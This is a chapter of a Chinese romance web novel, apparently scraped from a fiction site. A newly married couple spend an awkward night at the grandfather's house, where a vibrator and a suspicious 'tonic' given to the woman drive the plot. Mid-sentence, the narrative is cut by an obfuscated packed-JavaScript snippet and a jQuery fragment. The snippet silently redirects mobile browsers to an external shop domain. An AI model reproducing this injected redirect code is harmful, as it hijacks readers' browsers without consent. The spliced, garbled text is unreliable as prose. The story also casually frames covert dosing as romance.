陆知珩找了半天,终于找到吹风机,他转身看着夏时温,见她还杵在那里,蹙眉催促她,“还不去?还是你想就这么睡?”
说着陆知珩便拿了衣服准备去浴室,夏时温来不及反应,慌乱中拿起衣服冲到浴室门前,打开门冲进去,然后关上门,反锁。
听见浴室门落锁的声音,陆知珩站在原地,目光深邃如海,注视着门板半晌,随后收回视线。
浴室的磨砂玻璃门阻隔了外界的视线,夏时温把衣服放在岛台上面,双手撑着瓷砖,她抬眼看着镜子里的自己,脸色绯红,尤其是耳朵和脖颈根本不是一个色度。
她深吸了口气,努力平复着自己紊乱的呼吸,然后把浴室推拉门推开,走进去。
不一会儿,浴室就传来哗啦哗啦的水声。
陆知珩蹲在床边柜子前,扫视着里面的东西,他随手拿起一个类似海豚造型的东西,下面还有一些字样,写着:快速、缓慢、轻柔。
这就是...爷爷说的惊喜礼物?
陆知珩眉头微皱,盯着看了几秒钟。
卧室门外响起敲门声,他收回视线,站起身去开门。
钟叔站在门口,手里端着托盘,上面摆放着一碗汤药,“少爷,这是老爷吩咐要给夏小姐的补身体的。”
陆知珩看了一眼药碗,淡漠地嗯了一声,正打算接过来,钟叔又加了一句,说,“老爷说了一定要让夏小姐喝下。”
陆知珩蹙了蹙眉,有点不耐烦接过药碗,“知道了。”
没等钟叔再说什么就把门关上,他转身就看到夏时温拿着干毛巾擦头发。
而她手里正拿着刚才因为开门被他随手扔在床上的‘海豚’。
夏时温从浴室出来,头发还湿漉漉的,晶莹剔透的水珠顺着额际滑下,滑到纤细脖颈,她皮肤雪白细腻,脸颊因热气微微泛红。
他喉结滚动,眸底掠过暗涌。
夏时温没见过这东西,她拿着手里的‘海豚’冲他晃了晃,问他,“这是什么?”
陆知珩没回答她的话,端着药走过去,淡声说:“喝药。”
夏时温低头看着他端过来黑漆漆的药,眉心微蹙,“这是什么药?”
“补药,爷爷让钟叔拿来的。”
“苦吗?”夏时温凑过去闻了闻,药味儿浓郁,她嫌弃地皱皱鼻子,“一定...要喝吗?”
她低垂着头,湿润的头发轻拂过陆知珩的手背,痒痒麻麻的感觉令他身体有股异样,但很快就消失。
他薄唇微抿,沉默了一瞬间才开口,“可以不喝。”
陆知珩的视线移到她手里‘海豚’,越发觉得刺眼,他把托盘放到她手里,伸手就把夏时温手里‘海豚’拿过来扔进柜子里重重关上。
夏时温再次抬头,陆知珩已经拿衣服进浴室。
她满心满脑都是问号看着他背影,这无缘无故又发什么脾气?
等他出来,一身寒气扑面而来,脸色也冷冰冰的。
陆知珩从浴室出来就看见躺在床上缩在床沿那一小块地方。
他坐在床沿,冷眼看到桌上那碗已经见底的汤药,眉心拧得更紧。
放在一旁的手机却忽然响起来,陆知珩忙拿起,看一眼床上的人,接起走出阳台。
“有事?”他淡淡开口。
只听到手机听筒里传出几声大叫,陆知珩蹙眉把手机拿远一些。
那边却是不依不饶,大声控诉,“阿珩,你居然被我偷偷结婚,而我居然是第三个才知道!”
陆知珩:“......”
他沉默片刻,冷声说:“你打电话来就是说这个?”
那边沉默了一会儿,继续说:“那不然...”
“挂了。”
陆知珩直接挂断电话。
今晚的星星稀疏,月亮周围的云层被镀了一层银辉,月华洒满大地,他站在阳台上,目光投向远处,不知道在看些什么。
陆知珩站在阳台上吹了一会儿风,随即迈步回到房间。
他看着夏时温蜷缩在被子一角,似乎睡熟了。
陆知珩叹了口气,真不知道是该说她没有心,还是说她对他太放心。
他的动作极轻,掀开被子上床,躺在床边的另一侧。
夏时温察觉到被窝里动静,身子本能的反应又往旁边挪了挪,就快要掉下去。
陆知珩无奈地翻身,长臂将她往中间位置一揽,他低眸凝视着夏时温的睡颜,薄唇抿成一条直线。
夏时温睡得正迷糊,只觉得有个东西抱住自己,她本能抱住他精瘦有力的腰,把脑袋埋进他胸膛里蹭了蹭,嘴巴里还喃喃念叨着,“好香啊...”
她一开始还是嗅嗅他身上的味道,后来小手不规矩地在他身上游移,随后又推开他,她还在嘀咕,“好热...好热空调打得太高了。”
说着她就把被子掀开,露出一截纤细的腿。
陆知珩眸色一沉,他握住她作乱的手,大手一掀盖住了她那片美好。
只听见夏时温在被子里,瓮声瓮气说,“我好热...好热。”
闻言陆知珩侧眸看向那碗见底的汤药,若有所思地想了一会儿,然后起身下床,倒了一杯凉水过来。
他把凉水递到她的唇边,语气淡淡的,“先喝了它。”
夏时温迷迷糊糊睁开眼睛,眼神迷离,“我已经喝完了啊,怎么还要喝,我不想喝太苦...”
陆知珩:“喝了。”
他的话带着一丝凉意,仿佛是冬日里飘落在枝叶间的一缕雪花。
夏时温嘀咕了两句,但还是听话地仰头把凉水全部灌进肚子里,喝完又不知道嘟囔了句什么,然后重新闭上眼睛。
陆知珩看着她喝完,又帮她盖好被子,盯了她半晌,按了按眉心。
他已经后悔留下来过夜,早知道就该带她离开。
他在旁边的沙发上坐了一会儿,不小心踢倒夏时温带来布袋子,里面的东西散落出来。
陆知珩低头扫了一眼,一些是他给的资料,还有一些计划书。
他弯腰捡起来,拿着纸张翻了翻。
昏黄的落地灯照在计划书上,陆知珩脸上表情逐渐冷硬,最终把东西放进布袋子里。
......
第二天一早,夏时温醒过来。
她对昨天发生的事情一概记不清,只记得自己喝了那碗药,然后不知怎么的就犯困。
上一秒夏时温还在纠结是不是应该和他说一声‘晚安’,想着躺在这个位置会不会又惹他生气。
谁知下一秒她刚躺下来,竟迷迷糊糊睡着了。
房间里除了她,再没有别人。
夏时温揉着眼睛,看了眼窗外明媚的阳光,然后掀开被子。
昨晚他应该没睡在这里吧?
夏时温正思索着,寂静的房间里,传出一阵莫名的震动声,又不像是手机铃声。
她循着震动声找着声音的源头,而这震动声就是从床边柜子里传来的。
夏时温趴过去,把手伸到柜子下摸索了一番,最后摸到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054794|149151||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那发出震动声的东西。
是昨天那只‘海豚’。
夏时温愣了愣,然后就起身窝在柜子前,看着柜子里琳琅满目的东西发呆。
她没见过这些东西,不知道是做什么用的。
夏时温想起昨天陆知珩的反应,想着还是别碰它们比较好。
于是,她想把这震动关掉,却发现根本关不掉,反而好像更激烈。
夏时温正苦恼着,卧室外面响起开门的声音,她顿时慌乱,又关不掉震动声,只能胡乱把这只‘海豚’装进自己带来布袋子里。
陆知珩推门进来,目光落在夏时温泛着红温脸颊上,眸色沉了沉,他嗓音淡淡,“去洗漱。”
“哦,好的。”
夏时温立马把布袋子放在沙发旁边,然后飞速冲进浴室。
陆知珩看着她离去的背影,又想着她刚才站的位置,他迈步走过去。
当他走近床头柜的时候,就听见一阵震动声,陆知珩挑眉,去找这声音来源,直到他把视线放在夏时温的布袋子。
陆知珩眼皮狠狠跳了跳,这只‘海豚’,为什么会在她的布袋子里?
夏时温洗漱完出来,就看到陆知珩拿着那只‘海豚’,眸色幽深,似乎在思考着什么。
她只能硬着头皮,走过去解释,“我看这海豚还挺有意思的...”
“你喜欢?”陆知珩冷不丁打断她,语气凉到不行。
夏时温感到莫名其妙,不就是一个玩具,至于这样吗?
她点点头,“喜欢。”
陆知珩:“你确定?”
夏时温:“嗯!”
陆知珩抬手把‘海豚’丢到她怀里,“那你带走!”
说完,他转身离开了卧室。
夏时温低头看着‘海豚’,像是个烫手山芋,之后她想了半天也想不出来,自己又哪里惹他生气了?她最后还是把它放回柜子里。
等夏时温出去的时候,就看到陆知珩在门口等着她,日光透过走廊的玻璃洒进来,落在他身上。
陆知珩穿着白衬衫黑西裤,袖子挽起到手肘处,整个人显得格外的矜贵优雅,他的脸庞隐匿在暗色里,慵懒的靠着墙,闭目养神。
他缓缓睁眼,朝着夏时温看过来,目光沉静幽邃,“爷爷在等,走吧。”
夏时温乖巧地跟上去,见他眼底青黑色,忍不住小声问他,“你没睡好吗?”
陆知珩看她一眼,语气凉薄,“嗯。”
“对不起啊...”夏时温温声道歉。
主要是她实在是没想起来昨晚发生了什么,只想着好像很困的样子就睡着了......
陆知珩听到夏时温的道歉,他眸色微黯,却也没多说什么,只说了一声,“不关你的事情,不用道歉。”
“为什么?”夏时温眨巴着漂亮的杏眸。
陆知珩没有再理会她,率先走在前面。
夏时温紧随其后,走了几步,陆知珩忽然停下脚步,她赶忙刹住脚步,然后抬头看他,见他薄唇轻抿着,看起来心情不太好,“怎么了?”
陆知珩沉默片刻,淡淡说道:“上次给你的资料,你看了多少?”
“应该...能应付。”夏时温小声应答,
昨天爷爷并没有问起两人的细节,她还以为这事就这么过了,只要安然渡过今天早餐就好,难不成......
“嗯。”陆知珩继续往前走,见她垂着脑袋不敢说话的模样,语调不由自主柔和许多,“不用紧张,你做我旁边就好。”